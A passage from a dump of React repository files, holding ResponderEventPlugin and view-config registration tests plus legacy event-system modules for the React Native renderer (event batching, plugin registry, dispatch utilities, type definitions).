0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: true};\n    config.responderGrant.child = {order: 4};\n    config.responderStart.child = {order: 5};\n\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    // Suppose parent wants to become responder on move, and is rejected\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.bubbled.parent = {order: 2, returnVal: true};\n    config.responderGrant.parent = {order: 3};\n    config.responderTerminationRequest.child = {order: 4, returnVal: false};\n    config.responderReject.parent = {order: 5};\n    // The start/move should occur on the original responder if new one is rejected\n    config.responderMove.child = {order: 6};\n\n    let touchConfig = moveConfig(three.child, [three.child], [0]);\n    run(config, three, touchConfig);\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.parent = {order: 2, returnVal: true};\n    config.responderGrant.parent = {order: 3};\n    config.responderTerminationRequest.child = {order: 4, returnVal: false};\n    config.responderReject.parent = {order: 5};\n    // The start/move should occur on the original responder if new one is rejected\n    config.responderStart.child = {order: 6};\n\n    touchConfig = startConfig(three.child, [three.child, three.child], [1]);\n    run(config, three, touchConfig);\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n  });\n\n  it('should negotiate scroll', () => {\n    // Initially nothing wants to become the responder\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: true};\n    config.responderGrant.child = {order: 4};\n    config.responderStart.child = {order: 5};\n\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    // If the touch target is the sibling item, the negotiation should only\n    // propagate to first common ancestor of current responder and sibling (so\n    // the parent).\n    config = oneEventLoopTestConfig(three);\n    config.scrollShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.scrollShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.scrollShouldSetResponder.bubbled.parent = {\n      order: 2,\n      returnVal: true,\n    };\n    config.responderGrant.parent = {order: 3};\n    config.responderTerminationRequest.child = {order: 4, returnVal: false};\n    config.responderReject.parent = {order: 5};\n\n    run(config, three, {\n      topLevelType: 'topScroll',\n      targetInst: getInstanceFromNode(three.parent),\n      nativeEvent: {},\n    });\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    // Now lets let the scroll take control this time.\n    config = oneEventLoopTestConfig(three);\n    config.scrollShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.scrollShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.scrollShouldSetResponder.bubbled.parent = {\n      order: 2,\n      returnVal: true,\n    };\n    config.responderGrant.parent = {order: 3};\n    config.responderTerminationRequest.child = {order: 4, returnVal: true};\n    config.responderTerminate.child = {order: 5};\n\n    run(config, three, {\n      topLevelType: 'topScroll',\n      targetInst: getInstanceFromNode(three.parent),\n      nativeEvent: {},\n    });\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n  });\n\n  it('should cancel correctly', () => {\n    // Initially our child becomes responder\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: true};\n    config.responderGrant.child = {order: 4};\n    config.responderStart.child = {order: 5};\n\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.child = {order: 0};\n    config.responderTerminate.child = {order: 1};\n\n    const nativeEvent = _touchConfig(\n      'topTouchCancel',\n      three.child,\n      [three.child],\n      [0],\n    );\n    run(config, three, nativeEvent);\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it(\n    'should determine the first common ancestor correctly',\n    async () => {\n      // This test was moved here from the ReactTreeTraversal test since only the\n      // ResponderEventPlugin uses `getLowestCommonAncestor`\n      const React = require('react');\n      const ReactDOMClient = require('react-dom/client');\n      const act = require('internal-test-utils').act;\n      const getLowestCommonAncestor =\n        require('react-native-renderer/src/legacy-events/ResponderEventPlugin').getLowestCommonAncestor;\n      // This works by accident and will likely break in the future.\n      const ReactDOMComponentTree = require('react-dom-bindings/src/client/ReactDOMComponentTree');\n\n      class ChildComponent extends React.Component {\n        divRef = React.createRef();\n        div1Ref = React.createRef();\n        div2Ref = React.createRef();\n\n        render() {\n          return (\n            <div ref={this.divRef} id={this.props.id + '__DIV'}>\n              <div ref={this.div1Ref} id={this.props.id + '__DIV_1'} />\n              <div ref={this.div2Ref} id={this.props.id + '__DIV_2'} />\n            </div>\n          );\n        }\n      }\n\n      class ParentComponent extends React.Component {\n        pRef = React.createRef();\n        p_P1Ref = React.createRef();\n        p_P1_C1Ref = React.createRef();\n        p_P1_C2Ref = React.createRef();\n        p_OneOffRef = React.createRef();\n\n        render() {\n          return (\n            <div ref={this.pRef} id=\"P\">\n              <div ref={this.p_P1Ref} id=\"P_P1\">\n                <ChildComponent ref={this.p_P1_C1Ref} id=\"P_P1_C1\" />\n                <ChildComponent ref={this.p_P1_C2Ref} id=\"P_P1_C2\" />\n              </div>\n              <div ref={this.p_OneOffRef} id=\"P_OneOff\" />\n            </div>\n          );\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      let parent;\n      await act(() => {\n        root.render(<ParentComponent ref={current => (parent = current)} />);\n      });\n\n      const ancestors = [\n        // Common ancestor with self is self.\n        {\n          one: parent.p_P1_C1Ref.current.div1Ref.current,\n          two: parent.p_P1_C1Ref.current.div1Ref.current,\n          com: parent.p_P1_C1Ref.current.div1Ref.current,\n        },\n        // Common ancestor with self is self - even if topmost DOM.\n        {\n          one: parent.pRef.current,\n          two: parent.pRef.current,\n          com: parent.pRef.current,\n        },\n        // Siblings\n        {\n          one: parent.p_P1_C1Ref.current.div1Ref.current,\n          two: parent.p_P1_C1Ref.current.div2Ref.current,\n          com: parent.p_P1_C1Ref.current.divRef.current,\n        },\n        // Common ancestor with parent is the parent.\n        {\n          one: parent.p_P1_C1Ref.current.div1Ref.current,\n          two: parent.p_P1_C1Ref.current.divRef.current,\n          com: parent.p_P1_C1Ref.current.divRef.current,\n        },\n        // Common ancestor with grandparent is the grandparent.\n        {\n          one: parent.p_P1_C1Ref.current.div1Ref.current,\n          two: parent.p_P1Ref.current,\n          com: parent.p_P1Ref.current,\n        },\n        // Grandparent across subcomponent boundaries.\n        {\n          one: parent.p_P1_C1Ref.current.div1Ref.current,\n          two: parent.p_P1_C2Ref.current.div1Ref.current,\n          com: parent.p_P1Ref.current,\n        },\n        // Something deep with something one-off.\n        {\n          one: parent.p_P1_C1Ref.current.div1Ref.current,\n          two: parent.p_OneOffRef.current,\n          com: parent.pRef.current,\n        },\n      ];\n      let i;\n      for (i = 0; i < ancestors.length; i++) {\n        const plan = ancestors[i];\n        const firstCommon = getLowestCommonAncestor(\n          ReactDOMComponentTree.getInstanceFromNode(plan.one),\n          ReactDOMComponentTree.getInstanceFromNode(plan.two),\n        );\n        expect(firstCommon).toBe(\n          ReactDOMComponentTree.getInstanceFromNode(plan.com),\n        );\n      }\n    },\n    // TODO: this is a long running test, we should speed it up.\n    60 * 1000,\n  );\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/createReactNativeComponentClass-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet createReactNativeComponentClass;\nlet React;\nlet ReactNative;\n\ndescribe('createReactNativeComponentClass', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    createReactNativeComponentClass =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n        .ReactNativeViewConfigRegistry.register;\n    React = require('react');\n    ReactNative = require('react-native-renderer');\n  });\n\n  // @gate !disableLegacyMode\n  it('should register viewConfigs', () => {\n    const textViewConfig = {\n      validAttributes: {},\n      uiViewClassName: 'Text',\n    };\n    const viewViewConfig = {\n      validAttributes: {},\n      uiViewClassName: 'View',\n    };\n\n    const Text = createReactNativeComponentClass(\n      textViewConfig.uiViewClassName,\n      () => textViewConfig,\n    );\n    const View = createReactNativeComponentClass(\n      viewViewConfig.uiViewClassName,\n      () => viewViewConfig,\n    );\n\n    expect(Text).not.toBe(View);\n\n    ReactNative.render(<Text />, 1);\n    ReactNative.render(<View />, 1);\n  });\n\n  it('should not allow viewConfigs with duplicate uiViewClassNames to be registered', () => {\n    const textViewConfig = {\n      validAttributes: {},\n      uiViewClassName: 'Text',\n    };\n    const altTextViewConfig = {\n      validAttributes: {},\n      uiViewClassName: 'Text', // Same\n    };\n\n    createReactNativeComponentClass(\n      textViewConfig.uiViewClassName,\n      () => textViewConfig,\n    );\n\n    expect(() => {\n      createReactNativeComponentClass(\n        altTextViewConfig.uiViewClassName,\n        () => altTextViewConfig,\n      );\n    }).toThrow('Tried to register two views with the same name Text');\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/EventBatching.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n * @flow\n */\n\nimport type {ReactSyntheticEvent} from './ReactSyntheticEventType';\nimport accumulateInto from './accumulateInto';\nimport forEachAccumulated from './forEachAccumulated';\nimport {executeDispatchesInOrder, rethrowCaughtError} from './EventPluginUtils';\n\n/**\n * Internal queue of events that have accumulated their dispatches and are\n * waiting to have their dispatches executed.\n */\nlet eventQueue: ?(Array<ReactSyntheticEvent> | ReactSyntheticEvent) = null;\n\n/**\n * Dispatches an event and releases it back into the pool, unless persistent.\n *\n * @param {?object} event Synthetic event to be dispatched.\n * @private\n */\nfunction executeDispatchesAndRelease(event: ReactSyntheticEvent) {\n  if (event) {\n    executeDispatchesInOrder(event);\n\n    if (!event.isPersistent()) {\n      event.constructor.release(event);\n    }\n  }\n}\n// $FlowFixMe[missing-local-annot]\nfunction executeDispatchesAndReleaseTopLevel(e) {\n  return executeDispatchesAndRelease(e);\n}\n\nexport function runEventsInBatch(\n  events: Array<ReactSyntheticEvent> | ReactSyntheticEvent | null,\n) {\n  if (events !== null) {\n    eventQueue = accumulateInto(eventQueue, events);\n  }\n\n  // Set `eventQueue` to null before processing it so that we can tell if more\n  // events get enqueued while processing.\n  const processingEventQueue = eventQueue;\n  eventQueue = null;\n\n  if (!processingEventQueue) {\n    return;\n  }\n\n  forEachAccumulated(processingEventQueue, executeDispatchesAndReleaseTopLevel);\n\n  if (eventQueue) {\n    throw new Error(\n      'processEventQueue(): Additional events were enqueued while processing ' +\n        'an event queue. Support for this has not yet been implemented.',\n    );\n  }\n\n  // This would be a good time to rethrow if any of the event handlers threw.\n  rethrowCaughtError();\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/EventPluginRegistry.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DispatchConfig} from './ReactSyntheticEventType';\nimport type {\n  AnyNativeEvent,\n  PluginName,\n  LegacyPluginModule,\n} from './PluginModuleType';\nimport type {TopLevelType} from './TopLevelEventTypes';\n\ntype NamesToPlugins = {\n  [key: PluginName]: LegacyPluginModule<AnyNativeEvent>,\n};\ntype EventPluginOrder = null | Array<PluginName>;\n\n/**\n * Injectable ordering of event plugins.\n */\nlet eventPluginOrder: EventPluginOrder = null;\n\n/**\n * Injectable mapping from names to event plugin modules.\n */\nconst namesToPlugins: NamesToPlugins = {};\n\n/**\n * Recomputes the plugin list using the injected plugins and plugin ordering.\n *\n * @private\n */\nfunction recomputePluginOrdering(): void {\n  if (!eventPluginOrder) {\n    // Wait until an `eventPluginOrder` is injected.\n    return;\n  }\n  for (const pluginName in namesToPlugins) {\n    const pluginModule = namesToPlugins[pluginName];\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    const pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n    if (pluginIndex <= -1) {\n      throw new Error(\n        'EventPluginRegistry: Cannot inject event plugins that do not exist in ' +\n          `the plugin ordering, \\`${pluginName}\\`.`,\n      );\n    }\n\n    if (plugins[pluginIndex]) {\n      continue;\n    }\n\n    if (!pluginModule.extractEvents) {\n      throw new Error(\n        'EventPluginRegistry: Event plugins must implement an `extractEvents` ' +\n          `method, but \\`${pluginName}\\` does not.`,\n      );\n    }\n\n    plugins[pluginIndex] = pluginModule;\n    const publishedEvents = pluginModule.eventTypes;\n    for (const eventName in publishedEvents) {\n      if (\n        !publishEventForPlugin(\n          publishedEvents[eventName],\n          pluginModule,\n          eventName,\n        )\n      ) {\n        throw new Error(\n          `EventPluginRegistry: Failed to publish event \\`${eventName}\\` for plugin \\`${pluginName}\\`.`,\n        );\n      }\n    }\n  }\n}\n\n/**\n * Publishes an event so that it can be dispatched by the supplied plugin.\n *\n * @param {object} dispatchConfig Dispatch configuration for the event.\n * @param {object} PluginModule Plugin publishing the event.\n * @return {boolean} True if the event was successfully published.\n * @private\n */\nfunction publishEventForPlugin(\n  dispatchConfig: DispatchConfig,\n  pluginModule: LegacyPluginModule<AnyNativeEvent>,\n  eventName: string,\n): boolean {\n  if (eventNameDispatchConfigs.hasOwnProperty(eventName)) {\n    throw new Error(\n      'EventPluginRegistry: More than one plugin attempted to publish the same ' +\n        `event name, \\`${eventName}\\`.`,\n    );\n  }\n\n  eventNameDispatchConfigs[eventName] = dispatchConfig;\n\n  const phasedRegistrationNames = dispatchConfig.phasedRegistrationNames;\n  if (phasedRegistrationNames) {\n    for (const phaseName in phasedRegistrationNames) {\n      if (phasedRegistrationNames.hasOwnProperty(phaseName)) {\n        // $FlowFixMe[invalid-computed-prop]\n        const phasedRegistrationName = phasedRegistrationNames[phaseName];\n        publishRegistrationName(\n          phasedRegistrationName,\n          pluginModule,\n          eventName,\n        );\n      }\n    }\n    return true;\n  } else if (dispatchConfig.registrationName) {\n    publishRegistrationName(\n      dispatchConfig.registrationName,\n      pluginModule,\n      eventName,\n    );\n    return true;\n  }\n  return false;\n}\n\n/**\n * Publishes a registration name that is used to identify dispatched events.\n *\n * @param {string} registrationName Registration name to add.\n * @param {object} PluginModule Plugin publishing the event.\n * @private\n */\nfunction publishRegistrationName(\n  registrationName: string,\n  pluginModule: LegacyPluginModule<AnyNativeEvent>,\n  eventName: string,\n): void {\n  if (registrationNameModules[registrationName]) {\n    throw new Error(\n      'EventPluginRegistry: More than one plugin attempted to publish the same ' +\n        `registration name, \\`${registrationName}\\`.`,\n    );\n  }\n\n  registrationNameModules[registrationName] = pluginModule;\n  registrationNameDependencies[registrationName] =\n    pluginModule.eventTypes[eventName].dependencies;\n\n  if (__DEV__) {\n    const lowerCasedName = registrationName.toLowerCase();\n    possibleRegistrationNames[lowerCasedName] = registrationName;\n\n    if (registrationName === 'onDoubleClick') {\n      possibleRegistrationNames.ondblclick = registrationName;\n    }\n  }\n}\n\n/**\n * Registers plugins so that they can extract and dispatch events.\n */\n\n/**\n * Ordered list of injected plugins.\n */\nexport const plugins: Array<LegacyPluginModule<AnyNativeEvent>> = [];\n\n/**\n * Mapping from event name to dispatch config\n */\nexport const eventNameDispatchConfigs: {\n  [eventName: string]: DispatchConfig,\n} = {};\n\n/**\n * Mapping from registration name to plugin module\n */\nexport const registrationNameModules: {\n  [registrationName: string]: LegacyPluginModule<AnyNativeEvent>,\n} = {};\n\n/**\n * Mapping from registration name to event name\n */\nexport const registrationNameDependencies: {\n  [registrationName: string]: Array<TopLevelType> | void,\n} = {};\n\n/**\n * Mapping from lowercase registration names to the properly cased version,\n * used to warn in the case of missing event handlers. Available\n * only in __DEV__.\n * @type {Object}\n */\nexport const possibleRegistrationNames: {\n  [lowerCasedName: string]: string,\n} = __DEV__ ? {} : (null: any);\n// Trust the developer to only use possibleRegistrationNames in __DEV__\n\n/**\n * Injects an ordering of plugins (by plugin name). This allows the ordering\n * to be decoupled from injection of the actual plugins so that ordering is\n * always deterministic regardless of packaging, on-the-fly injection, etc.\n *\n * @param {array} InjectedEventPluginOrder\n * @internal\n */\nexport function injectEventPluginOrder(\n  injectedEventPluginOrder: EventPluginOrder,\n): void {\n  if (eventPluginOrder) {\n    throw new Error(\n      'EventPluginRegistry: Cannot inject event plugin ordering more than ' +\n        'once. You are likely trying to load more than one copy of React.',\n    );\n  }\n\n  // Clone the ordering so it cannot be dynamically mutated.\n  // $FlowFixMe[method-unbinding] found when upgrading Flow\n  eventPluginOrder = Array.prototype.slice.call(injectedEventPluginOrder);\n  recomputePluginOrdering();\n}\n\n/**\n * Injects plugins to be used by plugin event system. The plugin names must be\n * in the ordering injected by `injectEventPluginOrder`.\n *\n * Plugins can be injected as part of page initialization or on-the-fly.\n *\n * @param {object} injectedNamesToPlugins Map from names to plugin modules.\n * @internal\n */\nexport function injectEventPluginsByName(\n  injectedNamesToPlugins: NamesToPlugins,\n): void {\n  let isOrderingDirty = false;\n  for (const pluginName in injectedNamesToPlugins) {\n    if (!injectedNamesToPlugins.hasOwnProperty(pluginName)) {\n      continue;\n    }\n    const pluginModule = injectedNamesToPlugins[pluginName];\n    if (\n      !namesToPlugins.hasOwnProperty(pluginName) ||\n      namesToPlugins[pluginName] !== pluginModule\n    ) {\n      if (namesToPlugins[pluginName]) {\n        throw new Error(\n          'EventPluginRegistry: Cannot inject two different event plugins ' +\n            `using the same name, \\`${pluginName}\\`.`,\n        );\n      }\n\n      namesToPlugins[pluginName] = pluginModule;\n      isOrderingDirty = true;\n    }\n  }\n  if (isOrderingDirty) {\n    recomputePluginOrdering();\n  }\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/EventPluginUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport isArray from 'shared/isArray';\n\nimport {runWithFiberInDEV} from 'react-reconciler/src/ReactCurrentFiber';\n\nlet hasError = false;\nlet caughtError = null;\n\nexport let getFiberCurrentPropsFromNode = null;\nexport let getInstanceFromNode = null;\nexport let getNodeFromInstance = null;\n\nexport function setComponentTree(\n  getFiberCurrentPropsFromNodeImpl,\n  getInstanceFromNodeImpl,\n  getNodeFromInstanceImpl,\n) {\n  getFiberCurrentPropsFromNode = getFiberCurrentPropsFromNodeImpl;\n  getInstanceFromNode = getInstanceFromNodeImpl;\n  getNodeFromInstance = getNodeFromInstanceImpl;\n  if (__DEV__) {\n    if (!getNodeFromInstance || !getInstanceFromNode) {\n      console.error(\n        'Injected ' +\n          'module is missing getNodeFromInstance or getInstanceFromNode.',\n      );\n    }\n  }\n}\n\nfunction validateEventDispatches(event) {\n  if (__DEV__) {\n    const dispatchListeners = event._dispatchListeners;\n    const dispatchInstances = event._dispatchInstances;\n\n    const listenersIsArr = isArray(dispatchListeners);\n    const listenersLen = listenersIsArr\n      ? dispatchListeners.length\n      : dispatchListeners\n        ? 1\n        : 0;\n\n    const instancesIsArr = isArray(dispatchInstances);\n    const instancesLen = instancesIsArr\n      ? dispatchInstances.length\n      : dispatchInstances\n        ? 1\n        : 0;\n\n    if (instancesIsArr !== listenersIsArr || instancesLen !== listenersLen) {\n      console.error('EventPluginUtils: Invalid `event`.');\n    }\n  }\n}\n\n/**\n * Dispatch the event to the listener.\n * @param {SyntheticEvent} event SyntheticEvent to handle\n * @param {function} listener Application-level callback\n * @param {*} inst Internal component instance\n */\nexport function executeDispatch(event, listener, inst) {\n  event.currentTarget = getNodeFromInstance(inst);\n  const currentEvent = global.event;\n  global.event = event;\n\n  try {\n    listener(event);\n  } catch (error) {\n    if (!hasError) {\n      hasError = true;\n      caughtError = error;\n    } else {\n      // TODO: Make sure this error gets logged somehow.\n    }\n  }\n\n  global.event = currentEvent;\n  event.currentTarget = null;\n}\n\n/**\n * Standard/simple iteration through an event's collected dispatches.\n */\nexport function executeDispatchesInOrder(event) {\n  const dispatchListeners = event._dispatchListeners;\n  const dispatchInstances = event._dispatchInstances;\n  if (__DEV__) {\n    validateEventDispatches(event);\n  }\n  if (isArray(dispatchListeners)) {\n    for (let i = 0; i < dispatchListeners.length; i++) {\n      if (event.isPropagationStopped()) {\n        break;\n      }\n      // Listeners and Instances are two parallel arrays that are always in sync.\n      const listener = dispatchListeners[i];\n      const instance = dispatchInstances[i];\n      if (__DEV__ && instance !== null) {\n        runWithFiberInDEV(instance, executeDispatch, event, listener, instance);\n      } else {\n        executeDispatch(event, listener, instance);\n      }\n    }\n  } else if (dispatchListeners) {\n    const listener = dispatchListeners;\n    const instance = dispatchInstances;\n    if (__DEV__ && instance !== null) {\n      runWithFiberInDEV(instance, executeDispatch, event, listener, instance);\n    } else {\n      executeDispatch(event, listener, instance);\n    }\n  }\n  event._dispatchListeners = null;\n  event._dispatchInstances = null;\n}\n\n/**\n * Standard/simple iteration through an event's collected dispatches, but stops\n * at the first dispatch execution returning true, and returns that id.\n *\n * @return {?string} id of the first dispatch execution who's listener returns\n * true, or null if no listener returned true.\n */\nfunction executeDispatchesInOrderStopAtTrueImpl(event) {\n  const dispatchListeners = event._dispatchListeners;\n  const dispatchInstances = event._dispatchInstances;\n  if (__DEV__) {\n    validateEventDispatches(event);\n  }\n  if (isArray(dispatchListeners)) {\n    for (let i = 0; i < dispatchListeners.length; i++) {\n      if (event.isPropagationStopped()) {\n        break;\n      }\n      // Listeners and Instances are two parallel arrays that are always in sync.\n      if (dispatchListeners[i](event, dispatchInstances[i])) {\n        return dispatchInstances[i];\n      }\n    }\n  } else if (dispatchListeners) {\n    if (dispatchListeners(event, dispatchInstances)) {\n      return dispatchInstances;\n    }\n  }\n  return null;\n}\n\n/**\n * @see executeDispatchesInOrderStopAtTrueImpl\n */\nexport function executeDispatchesInOrderStopAtTrue(event) {\n  const ret = executeDispatchesInOrderStopAtTrueImpl(event);\n  event._dispatchInstances = null;\n  event._dispatchListeners = null;\n  return ret;\n}\n\n/**\n * Execution of a \"direct\" dispatch - there must be at most one dispatch\n * accumulated on the event or it is considered an error. It doesn't really make\n * sense for an event with multiple dispatches (bubbled) to keep track of the\n * return values at each dispatch execution, but it does tend to make sense when\n * dealing with \"direct\" dispatches.\n *\n * @return {*} The return value of executing the single dispatch.\n */\nexport function executeDirectDispatch(event) {\n  if (__DEV__) {\n    validateEventDispatches(event);\n  }\n  const dispatchListener = event._dispatchListeners;\n  const dispatchInstance = event._dispatchInstances;\n\n  if (isArray(dispatchListener)) {\n    throw new Error('Invalid `event`.');\n  }\n\n  event.currentTarget = dispatchListener\n    ? getNodeFromInstance(dispatchInstance)\n    : null;\n  const res = dispatchListener ? dispatchListener(event) : null;\n  event.currentTarget = null;\n  event._dispatchListeners = null;\n  event._dispatchInstances = null;\n  return res;\n}\n\n/**\n * @param {SyntheticEvent} event\n * @return {boolean} True iff number of dispatches accumulated is greater than 0.\n */\nexport function hasDispatches(event) {\n  return !!event._dispatchListeners;\n}\n\nexport function rethrowCaughtError() {\n  if (hasError) {\n    const error = caughtError;\n    hasError = false;\n    caughtError = null;\n    throw error;\n  }\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/PluginModuleType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  DispatchConfig,\n  ReactSyntheticEvent,\n} from './ReactSyntheticEventType';\nimport type {TopLevelType} from './TopLevelEventTypes';\n\nexport type EventTypes = {[key: string]: DispatchConfig};\n\nexport type AnyNativeEvent = Event | KeyboardEvent | MouseEvent | TouchEvent;\n\nexport type PluginName = string;\n\nexport type EventSystemFlags = number;\n\nexport type LegacyPluginModule<NativeEvent> = {\n  eventTypes: EventTypes,\n  extractEvents: (\n    topLevelType: TopLevelType,\n    targetInst: null | Fiber,\n    nativeTarget: NativeEvent,\n    nativeEventTarget: null | EventTarget,\n    eventSystemFlags?: number,\n    container?: null | EventTarget,\n  ) => ?ReactSyntheticEvent,\n  tapMoveThreshold?: number,\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/ReactGenericBatching.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// Used as a way to call batchedUpdates when we don't have a reference to\n// the renderer. Such as when we're dispatching events or if third party\n// libraries need to call batchedUpdates. Eventually, this API will go away when\n// everything is batched by default. We'll then have a similar API to opt-out of\n// scheduled work and instead do synchronous work.\n\n// Defaults\nlet batchedUpdatesImpl = function (fn, bookkeeping) {\n  return fn(bookkeeping);\n};\nlet discreteUpdatesImpl = function (fn, a, b, c, d) {\n  return fn(a, b, c, d);\n};\n\nlet isInsideEventHandler = false;\n\nexport function batchedUpdates(fn, bookkeeping) {\n  if (isInsideEventHandler) {\n    // If we are currently inside another batch, we need to wait until it\n    // fully completes before restoring state.\n    return fn(bookkeeping);\n  }\n  isInsideEventHandler = true;\n  try {\n    return batchedUpdatesImpl(fn, bookkeeping);\n  } finally {\n    isInsideEventHandler = false;\n  }\n}\n\nexport function discreteUpdates(fn, a, b, c, d) {\n  const prevIsInsideEventHandler = isInsideEventHandler;\n  isInsideEventHandler = true;\n  try {\n    return discreteUpdatesImpl(fn, a, b, c, d);\n  } finally {\n    isInsideEventHandler = prevIsInsideEventHandler;\n  }\n}\n\nexport function setBatchingImplementation(\n  _batchedUpdatesImpl,\n  _discreteUpdatesImpl,\n) {\n  batchedUpdatesImpl = _batchedUpdatesImpl;\n  discreteUpdatesImpl = _discreteUpdatesImpl;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/ReactSyntheticEventType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * Flow type for SyntheticEvent class that includes private properties\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {TopLevelType} from './TopLevelEventTypes';\n\nexport type DispatchConfig = {\n  dependencies?: Array<TopLevelType>,\n  phasedRegistrationNames: {\n    bubbled: null | string,\n    captured: null | string,\n    skipBubbling?: ?boolean,\n  },\n  registrationName?: string,\n};\n\nexport type CustomDispatchConfig = {\n  phasedRegistrationNames: {\n    bubbled: null,\n    captured: null,\n    skipBubbling?: ?boolean,\n  },\n  registrationName?: string,\n  customEvent: true,\n};\n\nexport type ReactSyntheticEvent = {\n  dispatchConfig: DispatchConfig | CustomDispatchConfig,\n  getPooled: (\n    dispatchConfig: DispatchConfig | CustomDispatchConfig,\n    targetInst: Fiber,\n    nativeTarget: Event,\n    nativeEventTarget: EventTarget,\n  ) => ReactSyntheticEvent,\n  isPersistent: () => boolean,\n  isPropagationStopped: () => boolean,\n  _dispatchInstances?: null | Array<Fiber | null> | Fiber,\n  _dispatchListeners?: null | Array<Function> | Function,\n  _targetInst: Fiber,\n  type: string,\n  currentTarget: null | EventTarget,\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/ResponderEventPlugin.js",
